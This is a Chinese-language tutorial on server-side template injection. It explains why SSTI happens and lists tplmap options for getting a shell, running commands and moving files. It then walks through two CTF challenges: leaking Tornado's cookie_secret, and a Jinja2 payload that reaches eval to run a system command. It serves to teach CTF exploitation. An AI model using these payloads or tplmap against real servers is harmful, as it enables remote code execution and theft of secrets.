SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

Tplmap的使用

tplmap是服务器模板注入的脚本,但有一点需要注意的是,tplmap是python2

常用参数

  • -u ”URL地址“
  • -d '注入表单名'
  • --os-shell 拿到shell权限
  • --os-cmd 运行cmd命令
  • --bind-shell
  • --reverse-shell
  • --upload 上传文件
  • --download 下载文件

例题 [护网杯 2018]easy_tornado

这个题目的WP可以在网上查,由于我们只谈论SSTI,其他部分就暂时概括

根据题目和提示的render可以猜测这个题是tornado的模板注入,在报错信息页面后的msg={{1}},有回显,可以判别存在服务器模板注入

而我们需要获取cookie_secret,Tornado框架的附属文件handler.settings中存在cookie_secret,于是构造payload,在报错页面msg={{handler.settings}},就可以得到这个文件的信息

例2: BUUCTF [Flask]SSTI

尝试一下传入name发现可以传入,尝试一下{{}}去模板注入

存在SSTI 服务器模板注入,于是直接放进tplmap跑

直接放进tplmap可以直接梭哈,flag在环境变量中

当然也可以手动来,name传入

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
届ける言葉を今は育ててる
最后更新于 2023-01-09